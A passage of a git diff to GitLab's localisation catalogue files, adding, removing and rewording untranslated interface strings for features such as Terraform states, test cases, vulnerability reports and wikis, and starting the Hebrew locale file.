msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/he_IL/gitlab.po b/locale/he_IL/gitlab.po
index 6bcb90df0b1..ac65e6717b3 100644
--- a/locale/he_IL/gitlab.po
+++ b/locale/he_IL/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: he\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:47\n"
+"PO-Revision-Date: 2020-12-03 08:16\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -88,6 +88,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -203,15 +210,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -461,22 +468,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -565,6 +563,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -637,21 +638,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -667,9 +674,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -685,13 +689,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
